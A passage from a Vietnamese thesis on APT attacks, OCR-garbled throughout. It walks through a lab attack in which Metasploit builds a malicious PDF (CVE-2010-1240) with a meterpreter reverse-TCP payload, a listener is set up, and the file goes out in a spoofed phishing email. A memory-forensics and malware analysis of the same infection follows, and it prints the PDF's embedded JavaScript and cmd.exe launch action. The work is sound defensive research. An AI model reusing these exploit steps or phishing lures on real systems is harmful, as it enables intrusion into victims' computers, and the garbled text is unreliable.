Ké tan cong da sir dung mot file pdf c6 chira ma doc va giri cho nan nhan, bang
phuong phap Social Engineering, ké tan cong tao ra mot email véi tiéu dé hap dan dé du nan
nhan download file pdf vé.

Sau khi nan nhan download va mo file pdf, ké tin cong da c6 thé chiém duoc quyén
diéu khién may tinh.

3.2.2. Mé phéng tin cong
v" Tién hanh tin cong

Sau khi x&c dinh dugc céac thong tin ciia nan nhan, ké tan cong st dung chuong trinh
metasploit nham khai thac 16 hong va xam nhap. Dé khoi dong metasploit, trong Terminnal
ké tan cong gd msfconsole.

Tiép theo, ké tan cong su dung cau Iénh nhu hinh dé sur dung tao ra file pdf c6 chira ma ddc.

Sau khi dung Iénh exploit, chuong trinh s€ tu dong tao ra mot file ¢6 chira ma doc.
Tiép tuc, ké tin cong sir dung module multi hander dé lang nghe két ndi khi nan nhan mo
file pdf ra.

i root@T3d-Laptop: ~ © o 0
File Edit View Search Terminal Help
&S;xﬁoilgizo'ls'zm ) > set lport 7777

lport => 7777
mst exploit( ) > exploit

[*] Reading in '/usr/share/metasploit-framework/data/exploits/CVE-2010-1240/temp
late.pdf'...

[*] Parsing '/usr/share/metasploit-framework/data/exploits/CVE-2010-1240/templat
e.pdf'...

[*] Using 'windows/meterpreter/reverse tcp' as payload...

[*] Parsing Successful. Creating 'evil.pdf' file...

[+] evil.pdf stored at /root/.msf4/local/evil.pdf

msf exploit( ) > use exploit/multi/handler

msf exploit( ) > set payload windows/meterpreter/reverse tcp

payload => windows/meterpreter/reverse tcp

msf exploit( ) > set lhost 10.20.15.210

lhost => 10.20.15.210

msf exploit( ) > set 1lport 7777

lport => 7777

msf exploit( ) > exploit

Started reverse TCP handler on 10.20.15.210:7777
Starting the payload handler...

Hinh 3.5: Ling nghe két ndi trén metasploit
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Tién hanh gui file chta ma doc cho nan nhan qua email. B¢ tang d tin cdy va dé
dang danh Itra nan nhan, ké tan cong c6 thé gia mao cac dudng link bang cac tén mién dang
tin cay.
=~ emailvictimdl@gmail.com

Em g anh 14 ligy cho duwr an sap tdai.

drive.google. comiftailiew. pdf

Bi dén lien két: I‘|tt|::-:-5t.-'tailieu.|:=cIT | Thay dai | Xoa

Bl . ¢ 2 B0 =

Hinh 3.6: Gia mao email va gitri cho nan nhan
Ngay khi nan nhdn mé mail va nhap vao duong link, payload s& nhanh chong khoi
tao mot két ndi dén mdy cua ké tin cong. Tir ddy, ké tAn cong s& co quyén truy cip vao may
tinh nan nhan.
3.3. Thire nghiém diéu tra tin cong APT
3.3.1. Kich ban
Trong vai mot diéu tra vién, diéu tra vién nhan duoc yéu cau diéu tra mot may tinh
da bi nhiém ma doc. Nhiém vu d6 13 tim ra thong tin ké tan cong, file chtra ma doc va hanh
Vi cua nd. Phuong phap truy tim dya trén ky thuat phan tich by nhé.
Phan tich dya trén file dump memory cia may tinh nan nhan
May diéu tra vién: Linux, Window
Cong cu: Volatility, IDAPRo, TCPview, Process Monitor, 010 editor
3.3.2. Thue nghiém diéu tra
File dugc cung cip 13 memory dump, diéu tra vién sir dung cong cu Volatility dé
phan tich :
Diéu tra vién c6 dugc thong tin co ban vé Hé diéu hanh (Windows XP SP2 hoic

SP3). Kiém tra danh sach tién trinh dang chay lic bd nhé duge dump:
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root@T3d-Laptop: ~

File Edit View Search Terminal Help

Px863cf400 explorer.exe 06-15

Px86387020 spoolsv.exe 06-15

Px8653d980 VBoxTray.exe 06-15

Px86337020 firefox.exe 06-15

Px865853cO plugin-containe 06-15

Px86652d00 AcroRd32.exe
23:11:53 UTC+0000

wscntfy.exe

06-15

Dx866CTc68 06-15

Px86318dad alg.exe 06-15

Px862e2988 AcroRd32.exe 06-15

Px866c4da0)

LABL.pdf

2016-06-15

Px863969e0 FTK Imager.exe 2016-06-15

Hinh 3.9: Cac tién trinh dang chay

Piéu tra vién thiy co tién trinh firefox.exe (trinh duyét Firefox), AcroRd32.exe (trinh
doc PDF Acrobat Reader). Theo nhu tinh huéng nay thi c6 kha ning mi doc da 1ay nhiém
thong qua file PDF khi nguoi dung st dung AcroRd32.exe dé doc. Ngoai ra diéu tra vién
cht ¥ dén tién trinh c6 tén 1a LAB1.pdf. Py c6 thé chinh 1a mi doc da lay nhiém vao may.

Nhin vio thoi gian cua céc tién trinh, c6 thé thdy rang may tinh nan nhan di bi lay
nhiém vao luc 23h18’ ngay 15/6/2016. Dé rd hon s& tién hanh kiém tra cac két ndi mang
dang ma luc do.

root@T3d-Laptop: ~

File Edit Wiew Search Terminal Help

1460 1524 10 238 ¢]

Px863969el@ FTK Imager.exe

olatility
Dffset(P)
Px062d6490
Dx062eacT8
Bx062eccT8
Px06306998
PxP6319378
Px0B65a5008
Px065acl08
Px065ce830
PxP65d3008
PxPB65TO5Cc8
Px06603008
PxP6673658
Px16d84008
Px2017ecT8
Px21401008
Ox23T3c008
Px33472008

:~# volatility -T

'froot/Desktop/memdump.mem'

Foundation Volatility Framework 2.5

Local Address

Remote Address
10.20.15.210:7777
216.58.199.5:443
64.233.189.189:443
.58.199.3:443
.58.199.14:443
.0.0.1:10286
.0.0.1:1025
.58.199.110:80
127.0.0.1:1027
64.233.189.99:443
127.0.0.1:1028
64.233.189.189:443
127.0.0.1:1025
216.58.199.5:443
127.0.0.1:1025
127.0.0.1:1025
127.0.0.1:1025

Hinh 3.10: Céc két ndi mang

Pid

772

1884
1884
1884
1884
1884
1884
1884
1884
1884
1884
1884
1884
1884
1884
1884
1884

connscan
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v"Nhdn xét :

- C6 2 tién trinh dang két ndi dén mang (PID 1884 — firefox.exe, PID 772-LAB1.pdf).

- Tién trinh firefox két n6i dén port 80 va 443 1a diéu binh thuong.

- Tién trinh Labl.pdf mé& két néi dén 10.20.15.210:7777. Pay 1a IP sir dung trong mang noi
bo, vay c6 kha ning rat 16n, ké tin cong 1a ngudi trong cong ty.

- Thyc hién dump memory ciia céc tién trinh nay va kiém tra tong quat, diéu tra vién con thu

duoc vai dia chi dang ngo: http://spadesquad.com/test/tailieu.pdf

- Py 1a duong dan c6 chira file pdf. Kha ning cao, day chinh 12 file pdf da nhiém ma déc

va duoc nan nhan tai ve.

root@T3d-Laptop: ~ e ® O
File Edit View Search Terminal Help

:~# volatility -f '/root/Desktop/memdump.mem' memdump -p 7

72 -D Desktop/ --profile WinXPSP3x86 && strings '/root/Desktop/772.dmp’

| grep "~http://" | sort | uniq
Volatility Foundation Volatility Framework 2.5
o ok e ok ok ok ok ok o ok o ok ok ok sk ok ok ok o sk ok ok sk ok ok sk ok ok ok ok sk ok ok ok o ok o ok ok ok sk ok sk ok ok o ok sk o ok ok o ok ok ok sk ok ok ok o ok ok ok ok ok ok ok ok ok ok ok
Writing LABl.pdf [ 772] to 772.dmp
http://*:2869/e
http://gmail.com/
http://g.symcd.com®
http://g.symcd.comOL
http://mega.co.nz/
http://ns.adobe.com/xap/1.0/
http://ocsp.comodoca.com®
http://ocsp.digicert.comO{
http://ocsp.digicert.comOK
http://ocsp.usertrust.comd
http://%s/%s
http://www.bbc.co.uk/news/blogs-china-blog-365249710*
http://www.bbc.co.uk/news/blogs-news-from-elsewhere-36528706"7
http://www.bbc.co.uk/news/blogs-trending-36529850[A
http://www.bbc.co.uk/news/business-3650234145
http://www.bbc.co.uk/news/business-365179286/
http://www.bbc.co.uk/news/business-365270697/
http://www.bbc.co.uk/news/business-36528426

Hinh 3.11: Lién két dang ngo
Nhu vy c6 thé thiy, nan nhin di tai vé va st dung cac chuong trinh Acrobat Reader,
Mozilla Firefox phién ban cii. Pong thdi da truy cip vao trang web dugc cho 1a ¢ chira ma

doc (http://spadesquad.com/test/tailieu.pdf)

Diéu tra vién tai lai file pdf va tién hanh phan tich loai ciing nhu hanh vi cia ma doc.


http://spadesquad.com/test/tailieu.pdf
http://spadesquad.com/test/tailieu.pdf
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-struct POFsref sPOF4ref[0] 35FFh Fazh Fo:  Bg:
St DL E Tk POF Tl cE22h ™ Y
-struct PLFOD] SPDFOD][194] 195 0 obj <= EmbeddedFies 196 0R>> 36F28h 2th Fg:  Bg:
struct PLFO] sPDFOB[195] 196 0 obj <</Names[(LAB1)197 OR]=> 36F54h 2eh Fo:  Bg:
-struct PLFOb] PDFOB][196] 197 0 obj <</UF(LAB pdf/F(LAB pdF)/EF < <[F 19510 R.» »{DescLABLY Type Fiespecs » 36FTFh sch Fo:  Bg:
struct PLFOb] sPDFOb[157] 1930 abj ation#2FpcF{Length 44 ode] ?3802{Check... 36FDEh £D54h Fo  Bg
-struct PLFOb] SPDFOD][198] 1990 obj <=/5{JavaScript/J5(this.exportDataObject({ chame: "LAB1", nlaunch: O });)TypefAction = 1D3ch &ch Fo:  Bg:
struct PLFO] sPDFOB[199] 2000 obj <</3/LaunchyTypefAction]Win<<F JP(IQ 1€ %HOMEDRIVES:cd .. 41DASH 1FFh Fo:  Bg:
-struct PFOb] SPDFOB][200] 100bj << (Tope [Catdog jPages 2 RfNames 195 0RfOpenAction 199 0R [PageLayout [OneColunn [Pa... 41FAdh ach Fo:  Bg:
truct PDFOb] sPDFOk{[201] 300bj << [Type/Page [Parert20R [Resources << [ProcSet [JPDF [Text] [xObject << (Imgl 60R... 42020k Dsch Fg: By
truct POFxref sSPOFXref1] 4208%h 10¢h Fg: By
T T e 7 i -
[ Iotart; 265733 [41DASh] [5el 511 [1FFh] [Size: 274068 lans | LI (W [oWR

e @ ) O 3 “E B0 g
Hinh 3.12: File PDF dwoc mé bing 010 editor

Khi mé file PDF, doan javascript nho s& xuédt payload nhu ra mot file co tén
“LAB1.pdf”. Sau d6, mot doan shell nhé cua Windows sé& kiém tra sy tOn tai cua payload
nay trong cac thu muc: “Desktop”, “My Documents”, “Documents”, “Escritorio”, “Mis
Documentos”. Néu payload ton tai & mot trong cac thu muc nay, chuong trinh s& mo thu
muc d6 va chay payload bang “cmd.exe”.

Kiém tra bang phan mém Process Monitor, khi mé File PDF, chuong trinh s& yéu ciu

chon vi tri giai nén payload “LAB1.pdf” va quyén thuc thi shellcode bang “cmd.exe”.

sl
I Only show processes stilrurning at end of current trace
[V Timelnes cover diplayed events only
pan, Dwner [ Command  stat Time [ End Time |
T Dumese (14901 Desktop Window .. C:\Windowstsystem32\Dwm exe [ Mirosalt Copord... RAIFWineE "Cindows\ayst... 6/16/2016 7.485... n/a
EJWISPTIS ERE (2798) - [Microsoft Pen and... C:windows\SYSTEM2AWISPTIS.EXE [0 Micrasoft Comaral.. Tl /0uiln(o:000000... B/16/2018 8332.. n/a
Hast Process for .. CWindowstspstem2isvchostene [ Miciosoft Comaret. NT AUTHORITYA., CWindawshayst.. G1B/201E 7475.. nia
Hast Process for .. CWindowstspstem2isvchostene I Miciosoft Comaret. NT AUTHORITYA., Ctwindawshsyst.. G1B/2016 7480.. nia
Hast Process for .. CWindowstpsten32isvchostens MY Miciosoft Comeret. NT AUTHORITYA., CtWindawshayst.. G1G/2018 7480.. nia
Spockr SubSyste.. CWindows\Spsten32ispeclsvess [ Miciosoft Comoret. NT AUTHORITYA., CtWindaws\Syst.. GAB/201E 7481.. nia
Hast Process for .. CWindowstpstend2isvchostene [ Mictosof: Comarat.. NT AUTHORITYA.. CtWindawshayst.. GH16/2016 7481.. nia
Host Procsss for - C\Windowststema2iskhost eve [ Miroscit Comorat . btttk “askhostere’  B/1B/2016 7481.. n/a
Host Procsss for - C\Windowstystem32isvchostene [ Miciosof Comoret . NT AUTHORITYA.. CéWindoshsyet. 616/2016 7481.. n/a
i MistosoftSoftwar.. CWindowstsysten3sppsvoere [ Mirosoft Coporel.. NT AUTHORITYA.. C\Windows\ayst . 6/16/2016 7482.. n/a
B8] Searchindssesowe (1432) |Mistosoft Window. € Windows\system32\Seatchindsrer.=.. [ Mistosoft Coporet.. NT AUTHORITYS. . C\Windows\ayst . 6/16/2016 7431 n/a
11 SsarchProtocoHost sssMicioscl Window... CWWindons\syalen32\SesrchProtocol.. [ Miciosof Coporat. NT AUTHORITY . "CAWindowshsyst. BAB/2016 B335... nia
o Window... C [ Miosol Coporat . NT AUTHORITY . "C:\Windowshsyst.. B/16/2016 8335... nia
W bsass.exe [468) Local Secuity Aut . C\Windows\system3Zilsass eve [ Miosol Coporat. NTAUTHORITY . C:Windowshayst. . B/IB/2016 7473, nla
W bmeve (476) Local Session Ma... C\Windows\system32ism.exe [ Micwsol Coporat. NT AUTHORITY . C:Windowstsyst. . B/IB/2016 7.47:3.. nia
) winogon exe (400) windows Logon 4. C\Windows\systen32\winbgonese [ Mictosot Coipora.. NT AUTHORIT™.. witlogonese  B/1G/2018 7473.. nla
) Explorer EXE (1432) windows Explorer €W indows' Explorer EXE [ icwsol Copora.. hdkYuthét C\Windows\Expl.. B/16/201 7.485... n/a
4 VBuiTray.exe (1390) WilualBox Buest... C:\Windows\System32WB o Trap.exe Oracle Corporalion  élushélt “CWindows\Sys... 6/16/2016 7.43.0... n/a
18 ProcessHackeresz 1912)  |Process Hacker  C:\Pragiam Files®Process Hacker 2VPro wit2 bl “CAProgran Fles... 6/16/2016 7.430... n/a
8 Tepvien.exe (2736) TCPAIOP ercpei... C:\Users i DesktophTCPYiewtTcpv.. [ Stsiertials - v, hélulhdt "CAUsershdIRD... B/1B/20E B253.. nia
f SrippingToskens (3640 (Snipping Tool  C:Windowshsystem32ASrippingTooleve: [N Mictoset Corgorat.. hdiYubhék “Cindows\ayst... 6/16/2018 B33 2. n/a
12 Procrion.ex (3188) Process Monitor — CUsers\dDesktoptProcrion.cee [ Stsiernal - v héubhtk “CAUserhdIRD... B/IB/20IBB31... nia
Procrion.es [2632) Pipcess Montor__C:\Users\h4R\Decktop\Procmon.gse Sysiteinal - . hAlYuhdlt “CAUserhdND,, B/1B2016 8351, /s
18 AcroRd32 e (2458) Adobs Reader 81 C:\Progiam FisshAdobe\Reader & 0\Fie [ b Systers .- hYu ek "C:AProgtan Files... 6/16/2016835.2... nia
14 ol e (2384) indows Comma... C:\Windows\System32\cmd.se Microsot Corpora... héltushdlt "C:Windons\Sys... 6/1B/2016 B353... 6/16/2016 8353
7 LBk (2540) ApacheBenchco... c\UsershdINDocumentsiLABT pdf 100 Epache Softwere.. hlitYulhdk LABT.pdf BAB/20168353.. n/a

Deseription:  ApacheBench command fne utlty

Company:  Apache Software Foundation

Path: ci\UsersihaltiDocuments|LAB1.pdf

Command:  LAB1.pdf

User: heltruthdl

PID: 2540 Started:  6{16/2016 8:35:30 AM

GoToEvent | InchdeProcess | Incudesubtiee | Chse

Hinh 3.15: Giai nén va thue thi payload
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Khi d6, “LAB1.pdf” s& giri mot yéu cau két ndi toi socket 10.20.15.210:7777. Tuy c6
phan mo rong 1a “.pdf” nhung day thuc chat 1a mot file thuc thi.
C6 thé nhén thdy file payload nay c6 phan mo ta 13 “ApacheBench command line

utility”. Phan tich so bo file “LAB1.pdf:

Users'\h4ItDocuments\LAB1.pdf -8 x|
Fie Edt Jump Search View Debugger Options Windows Help

IElR[e = [l o 8% |Gl 0|l # & & o w X[| > @ 0w ElEEl s
MI [ (TR RN T ] |

Ubrary function  Data [l Regular function | Unexplored [ Instruction  Externalsymbol

[ 7] Functions window 0&x IDA View-4 | B Hexiowt | B stuctres | E] enums s @ | s |
Furction name nddiess | ordinl_ | name [ brary [ £

[£] sub_404160

7] start 040C15¢ malloc MSVCRT
7] sub_40t65D 040160 sgnal MSVCRT
Iral sub_40471F 0040184 printf MSVCRT
Kl Sub_4047D1 0040188 _isctype MSVCRT
7] sub_40t812 040C15C atol MSVCRT
Kl sub_404845 0040170 exit MSVCRT
Il Suh}mgém 0040C 174 _mb_cur_max MSYCRT
7] sub_4osa64 o40C178 _petype MEVCRT
Il cub_4063F5 0040C17C strchr MSVCRT
Il cub_407BC1 0040C180 forintf MSVCRT
Il cub 407FA4 0040C184 _controlfp MSVCRT
Il <ub_404%40 0040188 _strdup MEVCRT
Il <ub_40ASB1 0040C18C _stricmp MSVCRT
7 <ub_ 404964 0040C194 WshRecy Wsz_32

- 0040C198 wSASend wsz_a2

0 7 getsackopt
a

0040C148 9 hons WSOCK32
0O040C1AC 52 gethostbyname WSOCK32
0040C1B0 14 ntohl WSOCK32
0040C1B4 12 inctlsocket WSOCK32
0040188 21 setsackopt WSOCK32
0040C1BC 23 socket WSOCK32
0040C1C0 3 dsesocket WSOCKS2
0040C1C4 18 select WSOCKS2
0040C1C8 10 inet_addr WSOCKS2
0040C1CC 151 __WSAFDIsSet WSOCKS2
0040C100 115 WSAStarkup WSOCKS2
0040C1D4 116 WSACleanup WSOCKS2
. S[[FEooocios 111 wacetiasttmer wsock -

Line 102 of 115

Load a new file or database

Hinh 3.16: Cac ham trong file LAB1.pdf
Qua phan import, diéu tra vién thay chuwong trinh c¢6 st dung cic ham trong thu vién
ADVAPI32, WS2 32 va WINSOCK32. Cac ham d6 dung dé thuc hién tao cac két noi
thdng qua socket.
Trong phan trién khai cac ham nhan thiy rang: ké tin cong da viét chuong trinh bang
cac ky thuat viét shellcode hodc chuong trinh da dugc obfuscate dé nham che giéu cling nhu

lam khé nguoi phan tich.

W IDA - CUsers\haltiDesktop\LAB1.pdf - X
File Edit Jump Search View Debugger Options Windows Help
A e Bl S ) g DO dd e FF WX > OO0 ek e @
Ubrary function | Data Il Regular function ¥ Unexplored [ Instruction | External symbal
7] Functions window (=Y Daviews [ [T Hexvien1 [A structures E eums 3 Impons B Expons

Function name

sub_4@48A5 proc near
[F] sub_doa60 - P

3

var_220- duord ptr -22Ch)

sub_40A581
sub_A0A%64

A

(7] sub_anagsp

(7] sub_aoazt pop ebp

[£] sub_404701 push  3233h

7] sub 0912 P:;": z;az?ann
ELBTINES Eusn To6TTach
[F] sub_a0s600 Call  ebp

[£] sub_05664 mow eax, 196h
7] sub 40635 Sub  esp, eax
[7] sub_dorBCt push  esp

[7] sub_a07raa push  eax

[£] sub_s0a3a0 push  6BBO29N
il

A

z 2 loc_nousch:
tine 7 of 15 push  BD206F1400h
it Graph overview o8 x push 611E00020
nou  esi, esp
push  eax
push  eax
push  eax
push  eax
inc  eax

100.00% {-229,54) (316,70} 000DSCF 004045CF: sub_4048AS+ZA (Synchronized with Hex View-1)

[E] Cutput window o8 x

The initial autoanalysis has been Finished. Al

Ipc ‘ ‘

Al idle  Dom Disk: 35GE
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Hinh 3.17: Phan tich file Lab1.pdf bing IDA Pro
Theo nhu hinh 1.17 c6 thé thay ké tin cong da load cac ham trong thu vién lién két

dong dé tranh bi phat hién. Vi du hacker str dung doan duéi dé load thu vién WS2_32.

e 220= deGEd pete 220N
i whij
Eii=h =
piaEh SFAZrar i
pu=h ==p
push FrER T FRDR
CE N | whji
--------- T N

goi dia chi gitp ké tan cong cd thé che giau chirc nang ctia ham.

Lo W | =hp

s X, THEN
=uhl FEp . ESE
pu=h #a=p

pu=ih s |

pushn 1S B S T
cAll s=hp

piish =

Ngay sau d6, ké tin cong lién tuc goi cac 1énh push lién tuc dé lam nguoi diéu tra
kho theo ddi duoc ludng thuc thi cia chuong trinh. Sau khi phan tich tinh va debug, c6 thé

két luan chtrc nang chinh ctia payload 14 khoi tao két ndi dén mot socket dinh trude.

Ll = (=5

1 oc 28338 CH -

PpPush SD2Z>2aF 1 aanh
PpPush S T 1 ESSae>n
T=s 8] es3 esp
Prus=sh L= 4

rush = a><

rush =<

Prush =<

3 o =<

PpPush =<

= Y = ax<

Prush = a><

Ppush SSE goDF S Eanhn
call ebhp

=chg e edid

Sau khi phan tich file pdf bang tay, két qua thu dugc ciing nhu théng qua
virustotal.com, diéu tra vién c6 thé két luan rang file payload nay 1a mot ban stra doi cta
chuong trinh “ApacheBench command line utility”. N6 c6 tdc dung nhu mdt backdoor, tao
mot két ndi t6i 1 server lang nghe. Tir d6 ké tn cong c6 thé d& dang kiém soat may tinh nan
nhan thong qua két ndi nay.

Sau khi phan tich file pdf bang tay, két qua thu dugc cling nhu théng qua
virustotal.com, diéu tra vién c6 thé két luan rang file payload nay 1 mot ban sira d6i cua

chuong trinh “ApacheBench command line utility”. N6 ¢6 tac dung nhu mdt backdoor, tao
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mot két ndi t6i 1 server lang nghe. Tir d6 ké tAn cong c6 thé dé dang kiém soat may tinh nan
nhan thong qua két ndi nay.

Tt nhiing két qua thu dugc ¢ trén ching ta co thé rat ra dugc cac két luan cho qua
trinh diéu tra nhu:

- Nan nhan d bj tin cdng bang file pdf c6 chira ma doc duoc gui qua mail.

- Khoang thoi gian bi tan cong 12 vao: 23h18’ ngay 15/6/2016.

- M4 doc ¢6 nhiém vu khoi tao két ndi dén may ké tin cong va cho phép ké tan céng chiém
quyén diéu khién may nan nhan.

- IP ké tin cong c6 dia chi 1a: 10.20.15.210. Pay la dia chi mang noi bo. Kha ning cao 1a
mot may khéc trong mang noi b ciing da bi lay nhiém hoic ké tan cong 1a nguoi cing
mang noi bo.

3.4. Khic phuc hiu qua

Mic du viéc phan tich va diéu tra c6 thé coi nhu da dén hoi két nhung ciing can khic
phuc hau qua va véa nhimng 16 hong c6 trén hé thong dé tranh cho viéc bi tin cong lan nira.
Mot sb bién phap can tién hanh:

- Xoa file pdf c6 chira ma doc.

- Tién hanh update cac ban va cho Window va Adobe Reader

- Cai dat phan mém diét virut va kich hoat firewall

- Nang cao kha ning ty phong vé cho nguoi dung. Can can than khi click vao cac duong
link trong email khéng rd nguon goc

3.5. Két chwong

Nghién ctru va tim hiéu vé cac cong cu phuc vu cho viée tin cong APT ciing nhu cac
cong cu phuc vu cho truy tim ching ¢t s6 nodi chung va cho truy tim ching ¢t sé cua cudc
tan cong APT.

Thuc hién tin céng APT trén co sd clia cac cong cu va cac ky thuat tién tién. Quy
trinh tin cong APT duoc ap dung hoan toan phu hop véi cac dic diém va dau hiéu cia cudc
tan cong APT. Két qua tan cong chi ra rang, tan cong APT thuc chat khong phai 1 mot ki
thuat tdn cong cao cip ma chi 13 tap hop cac k¥ thuat tn cong don gian loi dung 16 hong
ctia con nguoi.

Thue hién truy tim chtng ct s6 cua cudc tn cong APT trén cic cong cu va cac ki

thuat dang c6 hién nay. Dua trén phuong phép cia k¥ thuat diéu tra bd nhé va phan tich
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ma ddc, hoc vién da chi ra dugc cac van dé quan trong va can c6 dugc & mot cudc di€u tra

la: ai 1a nguoi tan cong, tan cong qua 16 hong nao, tan cong khi nao.
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KET LUAN
1. Két qua dat duoc
Céc két qua dat duogc cu thé nhu sau:

Trinh bay tong quan vé tin cong APT bao gdm céac dic diém, giai doan, quy trinh,
mirc d6 nguy hiém ciia APT véi cic cudc tin cong thong thudng.

Trinh bay mot s6 bién phap, k¥ thuat va cong nghé phong chéng cic cudc tin cong
APT. Két qua nghién ctru chi ra rang: dé dam bao an toan bao mat thong tin trude cude tin
cong APT thi khong thé ap dung mot ky thuat, mot cong cu hay mot cong nghé nao d6 ma
can phai 4p dung t6 hop cic cong nghé v6i nhiéu pha can thyc hién.

Cung cap cac khai niém co ban, cac thuat ngir chuyén nganh, cac phuong phép tiép
can, cac chinh sach va cac nguyén tic trong qua trinh truy tim ching ct sd. Tir d6 dua ra cai
nhin tong quat vé linh vuc truy tim ching ct sé dé c6 thé hd trg mot cach hiéu qua trong
viéce truy tim chimg cir sd ciia cac cudc tn cong.

Trinh bay 2 phuong phap co ban duoc dp dung dé truy tim ching clr s6 cta cudc tan
cong APT. Tir két qua nghién ctru va danh gia vé cac phuong phép truy tim ching ctr sb,
hoc vién chi ra dugc, mdi phuong phap va k¥ thuét truy tim déu c6 wu diém va nhuoc diém
riéng. Tuy nhién, trong luan vin, hoc vién lya chon k¥ thuat truy tim bd nhé dé truy tim
ching ctr sb ctia cude tan cong APT.

Tir nhitng co s& 1y thuyét da gidi thiéu, luan van d3 mo phong va thuc nghiém cudc
tan cong APT theo dung 1y thuyét vé kich ban va quy trinh cta cudc tin cong ndy di miéu
ta va thyc hién truy tim ching ctr s ciia cudc tan cong APT trén cic cong cu va cac k¥
thuat dang c6 hién nay. Dua trén phuong phap cia k¥ thuat didu tra bd nhd va phan tich
ma doc, hoc vién d3 chi ra duoc cac van dé quan trong va can ¢6 dugc & mot cude didu tra
1a: ai 12 ngudi tan cong, tn cong qua 16 hong ndo, tin cong khi ndo,.... Tir cac két qua dat
dugc da dua ra cac nhan xét danh gia.

2. Pinh hwéng phat trién

Trén nhitng két qua da 1am duoc luan vin co thé nghién ctru va phat trién theo cac
hudng sau:

Tiép tuc hoan thién, nghién ctru vé cac phuong phap truy tim ching ctr s6 cua tin

cong mang va tan cong APT.



26

Nghién ciru va ap dung cong nghé BIGDATA trong viéc truy tim ching cr s6 cua

tan cong APT.



